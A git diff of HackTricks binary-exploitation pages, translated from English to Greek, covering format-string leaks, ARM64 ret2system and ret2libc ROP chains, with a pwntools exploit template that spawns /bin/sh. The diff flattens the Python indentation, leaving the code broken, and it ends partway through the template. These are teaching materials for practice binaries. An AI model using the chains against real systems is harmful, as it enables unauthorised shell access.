-Wno-format-security ``` +### PIE και ASLR αλλά χωρίς canary -### PIE and ASLR but no canary +- Γύρος 1: +- Διαρροή του PIE από τη στοίβα +- Κατάχρηση bof για επιστροφή στο main +- Γύρος 2: +- Διαρροή της libc από τη στοίβα +- ROP: ret2system -- Round 1: - - Leak of PIE from stack - - Abuse bof to go back to main -- Round 2: - - Leak of libc from the stack - - ROP: ret2system +### Διαρροές Printf -### Printf leaks - -Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses: +Ορίζοντας ένα breakpoint πριν καλέσουμε το printf, είναι δυνατόν να δούμε ότι υπάρχουν διευθύνσεις για επιστροφή στο binary στη στοίβα και επίσης διευθύνσεις libc:
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address: +Δοκιμάζοντας διαφορετικά offsets, το **`%21$p`** μπορεί να διαρρεύσει μια διεύθυνση binary (PIE bypass) και το **`%25$p`** μπορεί να διαρρεύσει μια διεύθυνση libc:
-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.** +Αφαιρώντας τη διαρρεύσουσα διεύθυνση libc από τη βασική διεύθυνση της libc, είναι δυνατόν να δούμε ότι το **offset** της **διαρρεύσουσας διεύθυνσης από τη βάση είναι `0x49c40`.** -### x30 offset +### offset x30 -See the previous example as the bof is the same. +Δείτε το προηγούμενο παράδειγμα καθώς το bof είναι το ίδιο. -### Find Gadgets +### Βρείτε Gadgets -Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper another interesting gadget was found: +Όπως στο προηγούμενο παράδειγμα, πρέπει να έχουμε στο **`x0`** τη διεύθυνση της συμβολοσειράς **`/bin/sh`** και να καλέσουμε **`system`**. +Χρησιμοποιώντας το rooper, βρέθηκε ένα άλλο ενδιαφέρον gadget: ``` 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; ``` - -This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +Αυτή η συσκευή θα φορτώσει το `x0` από **`$sp + 0x78`** και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα πηδήξει στο x30. Έτσι, με αυτή τη συσκευή μπορούμε να **ελέγξουμε το πρώτο επιχείρημα και στη συνέχεια να πηδήξουμε στο system**. ### Exploit - ```python from pwn import * from time import sleep @@ -172,15 +157,15 @@ p = process('./rop') # For local binary libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") def leak_printf(payload, is_main_addr=False): - p.sendlineafter(b">\n" ,payload) - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - if is_main_addr: - response = response[:-4] + b"0000" - return int(response, 16) +p.sendlineafter(b">\n" ,payload) +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +if is_main_addr: +response = response[:-4] + b"0000" +return int(response, 16) def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Get main address main_address = leak_printf(b"%21$p", True) @@ -213,5 +198,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index fb453a1ba..90a2802b3 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -1,84 +1,77 @@ -# Leaking libc address with ROP +# Διαρροή διεύθυνσης libc με ROP {{#include ../../../../banners/hacktricks-training.md}} -## Quick Resume +## Γρήγορη Ανασκόπηση -1. **Find** overflow **offset** -2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **Βρείτε** την **υπερχείλιση** **offset** +2. **Βρείτε** το gadget `POP_RDI`, τα gadgets `PUTS_PLT` και `MAIN` +3. Χρησιμοποιήστε τα προηγούμενα gadgets για να **διαρρεύσετε τη διεύθυνση μνήμης** του puts ή άλλης συνάρτησης libc και **βρείτε την έκδοση libc** ([κατεβάστε το](https://libc.blukat.me)) +4. Με τη βιβλιοθήκη, **υπολογίστε το ROP και εκμεταλλευτείτε το** -## Other tutorials and binaries to practice +## Άλλοι οδηγοί και δυαδικά για εξάσκηση -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) +Αυτός ο οδηγός θα εκμεταλλευτεί τον κώδικα/δυαδικό που προτείνεται σε αυτόν τον οδηγό: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +Άλλοι χρήσιμοι οδηγοί: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -## Code - -Filename: `vuln.c` +## Κώδικας +Όνομα αρχείου: `vuln.c` ```c #include int main() { - char buffer[32]; - puts("Simple ROP.\n"); - gets(buffer); +char buffer[32]; +puts("Simple ROP.\n"); +gets(buffer); - return 0; +return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` - ## ROP - Leaking LIBC template -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +Κατεβάστε το exploit και τοποθετήστε το στον ίδιο φάκελο με το ευάλωτο δυαδικό αρχείο και δώστε τα απαραίτητα δεδομένα στο σενάριο: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +## 1- Εύρεση του offset +Το template χρειάζεται ένα offset πριν συνεχίσει με το exploit. Αν παρέχεται κάποιο, θα εκτελέσει τον απαραίτητο κώδικα για να το βρει (κατά προεπιλογή `OFFSET = ""`): ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": - gdb.attach(p.pid, "c") #Attach and continue - payload = cyclic(1000) - print(r.clean()) - r.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #cyclic_find(0x6161616b) # Find the offset of those bytes - return +gdb.attach(p.pid, "c") #Attach and continue +payload = cyclic(1000) +print(r.clean()) +r.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#cyclic_find(0x6161616b) # Find the offset of those bytes +return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**Εκτελέστε** `python template.py` θα ανοίξει μια κονσόλα GDB με το πρόγραμμα που έχει καταρρεύσει. Μέσα σε αυτήν την **κονσόλα GDB** εκτελέστε `x/wx $rsp` για να αποκτήσετε τα **bytes** που θα αντικαταστήσουν το RIP. Τέλος, αποκτήστε το **offset** χρησιμοποιώντας μια **κονσόλα python**: ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../../images/image (1007).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +Αφού βρείτε την απόσταση (σε αυτή την περίπτωση 40) αλλάξτε τη μεταβλητή OFFSET μέσα στο πρότυπο χρησιμοποιώντας αυτή την τιμή.\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +Ένας άλλος τρόπος θα ήταν να χρησιμοποιήσετε: `pattern create 1000` -- _εκτελέστε μέχρι ret_ -- `pattern seach $rsp` από το GEF. -## 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +## 2- Εύρεση Gadgets +Τώρα πρέπει να βρούμε ROP gadgets μέσα στο δυαδικό αρχείο. Αυτά τα ROP gadgets θα είναι χρήσιμα για να καλέσουμε `puts` για να βρούμε τη **libc** που χρησιμοποιείται, και αργότερα για να **εκκινήσουμε την τελική εκμετάλλευση**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +Ο `PUTS_PLT` είναι απαραίτητος για να καλέσει τη **συνάρτηση puts**.\ +Ο `MAIN_PLT` είναι απαραίτητος για να καλέσει ξανά τη **κύρια συνάρτηση** μετά από μία αλληλεπίδραση για να **εκμεταλλευτεί** την υπερχείλιση **ξανά** (άπειροι γύροι εκμετάλλευσης). **Χρησιμοποιείται στο τέλος κάθε ROP για να καλέσει ξανά το πρόγραμμα**.\ +Ο **POP_RDI** είναι απαραίτητος για να **περάσει** μια **παράμετρο** στη καλούμενη συνάρτηση. -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP_RDI** is needed to **pass** a **parameter** to the called function. +Σε αυτό το βήμα δεν χρειάζεται να εκτελέσετε τίποτα καθώς όλα θα βρεθούν από το pwntools κατά την εκτέλεση. -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -## 3- Finding libc library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +## 3- Εύρεση βιβλιοθήκης libc +Τώρα είναι η ώρα να βρούμε ποια έκδοση της **βιβλιοθήκης libc** χρησιμοποιείται. Για να το κάνουμε αυτό, θα **διαρρεύσουμε** τη **διεύθυνση** στη μνήμη της **συνάρτησης** `puts` και στη συνέχεια θα **αναζητήσουμε** σε ποια **έκδοση βιβλιοθήκης** βρίσκεται η έκδοση του puts σε αυτή τη διεύθυνση. ```python def get_addr(func_name): - FUNC_GOT = elf.got[func_name] - log.info(func_name + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +FUNC_GOT = elf.got[func_name] +log.info(func_name + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - #Send our rop-chain payload - #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment - print(p.clean()) # clean socket buffer (read all and print) - p.sendline(rop1) +#Send our rop-chain payload +#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment +print(p.clean()) # clean socket buffer (read all and print) +p.sendline(rop1) - #Parse leaked address - recieved = p.recvline().strip() - leak = u64(recieved.ljust(8, "\x00")) - log.info("Leaked libc address, "+func_name+": "+ hex(leak)) - #If not libc yet, stop here - if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +#Parse leaked address +recieved = p.recvline().strip() +leak = u64(recieved.ljust(8, "\x00")) +log.info("Leaked libc address, "+func_name+": "+ hex(leak)) +#If not libc yet, stop here +if libc != "": +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) - return hex(leak) +return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": - print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") - p.interactive() +print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") +p.interactive() ``` - -To do so, the most important line of the executed code is: - +Για να το κάνετε αυτό, η πιο σημαντική γραμμή του εκτελούμενου κώδικα είναι: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +Αυτό θα στείλει μερικά bytes μέχρι να είναι **δυνατό** το **overwriting** του **RIP**: `OFFSET`.\ +Στη συνέχεια, θα ρυθμίσει τη **διεύθυνση** του gadget `POP_RDI` έτσι ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στο **RDI** registry. Αυτό συμβαίνει επειδή θέλουμε να **καλέσουμε το puts** **περνώντας** του τη **διεύθυνση** του `PUTS_GOT` καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\ +Μετά από αυτό, θα κληθεί το `PUTS_PLT` (με το `PUTS_GOT` μέσα στο **RDI**) έτσι ώστε το puts να **διαβάσει το περιεχόμενο** μέσα στο `PUTS_GOT` (**τη διεύθυνση της συνάρτησης puts στη μνήμη**) και θα **το εκτυπώσει**.\ +Τέλος, **η κύρια συνάρτηση καλείται ξανά** ώστε να μπορέσουμε να εκμεταλλευτούμε την υπερχείλιση ξανά. -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +Με αυτόν τον τρόπο έχουμε **παραπλανήσει τη συνάρτηση puts** να **εκτυπώσει** τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (η οποία είναι μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να **αναζητήσουμε ποια έκδοση libc χρησιμοποιείται**. ![](<../../../../images/image (1049).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +Καθώς **εκμεταλλευόμαστε** κάποια **τοπική** δυαδική, **δεν είναι απαραίτητο** να καταλάβουμε ποια έκδοση της **libc** χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\ +Αλλά, σε περίπτωση απομακρυσμένης εκμετάλλευσης, θα εξηγήσω εδώ πώς μπορείτε να το βρείτε: -### 3.1- Searching for libc version (1) +### 3.1- Αναζητώντας την έκδοση libc (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +Μπορείτε να αναζητήσετε ποια βιβλιοθήκη χρησιμοποιείται στη σελίδα: [https://libc.blukat.me/](https://libc.blukat.me)\ +Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της **libc** ![](<../../../../images/image (221).png>) -### 3.2- Searching for libc version (2) +### 3.2- Αναζητώντας την έκδοση libc (2) -You can also do: +Μπορείτε επίσης να κάνετε: - `$ git clone https://github.com/niklasb/libc-database.git` - `$ cd libc-database` - `$ ./get` -This will take some time, be patient.\ -For this to work we need: +Αυτό θα πάρει λίγο χρόνο, να είστε υπομονετικοί.\ +Για να λειτουργήσει αυτό, χρειαζόμαστε: -- Libc symbol name: `puts` -- Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +- Όνομα συμβόλου libc: `puts` +- Διεύθυνση libc που έχει διαρρεύσει: `0x7ff629878690` +Μπορούμε να καταλάβουμε ποια **libc** είναι πιο πιθανό να χρησιμοποιείται. ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +Παίρνουμε 2 αντιστοιχίες (θα πρέπει να δοκιμάσετε τη δεύτερη αν η πρώτη δεν λειτουργεί). Κατεβάστε την πρώτη: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 - -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb - -> Downloading package - -> Extracting package - -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 +-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb +-> Downloading package +-> Extracting package +-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +Αντιγράψτε τη libc από `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` στον κατάλογο εργασίας μας. -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -### 3.3- Other functions to leak - +### 3.3- Άλλες συναρτήσεις για διαρροή ```python puts printf @@ -198,28 +181,24 @@ __libc_start_main read gets ``` +## 4- Εύρεση διεύθυνσης libc βάσει & εκμετάλλευση -## 4- Finding based libc address & exploiting +Σε αυτό το σημείο θα πρέπει να γνωρίζουμε τη βιβλιοθήκη libc που χρησιμοποιείται. Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό, θα χρησιμοποιήσω απλώς: `/lib/x86_64-linux-gnu/libc.so.6` -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +Έτσι, στην αρχή του `template.py` αλλάξτε τη μεταβλητή **libc** σε: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +Δίνοντας τη **διαδρομή** στη **βιβλιοθήκη libc**, το υπόλοιπο της **εκμετάλλευσης θα υπολογιστεί αυτόματα**. +Μέσα στη συνάρτηση `get_addr`, η **βάση διεύθυνση της libc** θα υπολογιστεί: ```python if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) ``` - > [!NOTE] -> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. - -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** +> Σημειώστε ότι **η τελική διεύθυνση βάσης της libc πρέπει να τελειώνει σε 00**. Αν αυτό δεν ισχύει για εσάς, μπορεί να έχετε διαρρεύσει μια λανθασμένη βιβλιοθήκη. +Στη συνέχεια, η διεύθυνση της συνάρτησης `system` και η **διεύθυνση** της συμβολοσειράς _"/bin/sh"_ θα υπολογιστούν από τη **διεύθυνση βάσης** της **libc** και θα δοθούν τη **βιβλιοθήκη libc.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -228,9 +207,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +Τέλος, η εκμετάλλευση εκτέλεσης /bin/sh θα προετοιμαστεί και θα σταλεί: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -240,30 +217,27 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +Ας εξηγήσουμε αυτό το τελικό ROP.\ +Το τελευταίο ROP (`rop1`) καλέστηκε ξανά η κύρια συνάρτηση, οπότε μπορούμε να **εκμεταλλευτούμε ξανά** την **υπερχείλιση** (γι' αυτό ο `OFFSET` είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε `POP_RDI` δείχνοντας στη **διεύθυνση** του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περαστεί ως παράμετρος.\ +Τέλος, η **διεύθυνση της συνάρτησης εξόδου** καλείται ώστε η διαδικασία να **εξέρχεται ωραία** και να μην δημιουργείται καμία ειδοποίηση. -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\* +**Με αυτόν τον τρόπο η εκμετάλλευση θα εκτελέσει ένα \_/bin/sh**\_\*\* shell.\*\* ![](<../../../../images/image (165).png>) -## 4(2)- Using ONE_GADGET +## 4(2)- Χρησιμοποιώντας το ONE_GADGET -You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +Μπορείτε επίσης να χρησιμοποιήσετε [**ONE_GADGET** ](https://github.com/david942j/one_gadget) για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε **system** και **"/bin/sh". ONE_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία **διεύθυνση ROP**.\ +Ωστόσο, συνήθως υπάρχουν κάποιους περιορισμούς, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL` Καθώς ελέγχετε τις τιμές μέσα στο **RSP** απλά πρέπει να στείλετε μερικές περισσότερες NULL τιμές ώστε να αποφευχθεί ο περιορισμός. ![](<../../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - ## EXPLOIT FILE -You can find a template to exploit this vulnerability here: +Μπορείτε να βρείτε ένα πρότυπο για να εκμεταλλευτείτε αυτήν την ευπάθεια εδώ: {{#ref}} rop-leaking-libc-template.md @@ -273,32 +247,26 @@ rop-leaking-libc-template.md ### MAIN_PLT = elf.symbols\['main'] not found -If the "main" symbol does not exist. Then you can find where is the main code: - +Εάν το σύμβολο "main" δεν υπάρχει. Τότε μπορείτε να βρείτε πού είναι ο κύριος κώδικας: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +και ορίστε τη διεύθυνση χειροκίνητα: ```python MAIN_PLT = 0x401080 ``` - ### Puts not found -If the binary is not using Puts you should check if it is using +Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts, θα πρέπει να ελέγξετε αν χρησιμοποιεί ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Αν βρείτε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` +Δοκιμάστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index def2864f4..308c285a8 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,11 +1,6 @@ -# Leaking libc - template +# Διαρροή libc - πρότυπο {{#include ../../../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ```python:template.py from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools @@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {} if LOCAL: - P = process(LOCAL_BIN, env=ENV) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = process(LOCAL_BIN, env=ENV) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: - P = remote('10.10.10.10',1339) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = remote('10.10.10.10',1339) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - p = ssh_shell.process(REMOTE_BIN) # start the vuln binary - elf = ELF(LOCAL_BIN)# Extract data from binary - rop = ROP(elf)# Find ROP gadgets +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +p = ssh_shell.process(REMOTE_BIN) # start the vuln binary +elf = ELF(LOCAL_BIN)# Extract data from binary +rop = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") @@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH: OFFSET = b"" #b"A"*264 if OFFSET == b"": - gdb.attach(P.pid, "c") #Attach and continue - payload = cyclic(264) - payload += b"AAAAAAAA" - print(P.clean()) - P.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #print(cyclic_find(0x63616171)) # Find the offset of those bytes - P.interactive() - exit() +gdb.attach(P.pid, "c") #Attach and continue +payload = cyclic(264) +payload += b"AAAAAAAA" +print(P.clean()) +P.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#print(cyclic_find(0x63616171)) # Find the offset of those bytes +P.interactive() +exit() @@ -69,11 +64,11 @@ if OFFSET == b"": ### Find Gadgets ### #################### try: - libc_func = "puts" - PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts +libc_func = "puts" +PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: - libc_func = "printf" - PUTS_PLT = ELF_LOADED.plt['printf'] +libc_func = "printf" +PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET)) ######################## def generate_payload_aligned(rop): - payload1 = OFFSET + rop - if (len(payload1) % 16) == 0: - return payload1 +payload1 = OFFSET + rop +if (len(payload1) % 16) == 0: +return payload1 - else: - payload2 = OFFSET + p64(RET) + rop - if (len(payload2) % 16) == 0: - log.info("Payload aligned successfully") - return payload2 - else: - log.warning(f"I couldn't align the payload! Len: {len(payload1)}") - return payload1 +else: +payload2 = OFFSET + p64(RET) + rop +if (len(payload2) % 16) == 0: +log.info("Payload aligned successfully") +return payload2 +else: +log.warning(f"I couldn't align the payload! Len: {len(payload1)}") +return payload1 def get_addr(libc_func): - FUNC_GOT = ELF_LOADED.got[libc_func] - log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - rop1 = generate_payload_aligned(rop1) +FUNC_GOT = ELF_LOADED.got[libc_func] +log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +rop1 = generate_payload_aligned(rop1) - # Send our rop-chain payload - #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received - print(P.clean()) # clean socket buffer (read all and print) - P.sendline(rop1) +# Send our rop-chain payload +#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received +print(P.clean()) # clean socket buffer (read all and print) +P.sendline(rop1) - # If binary is echoing back the payload, remove that message - recieved = P.recvline().strip() - if OFFSET[:30] in recieved: - recieved = P.recvline().strip() +# If binary is echoing back the payload, remove that message +recieved = 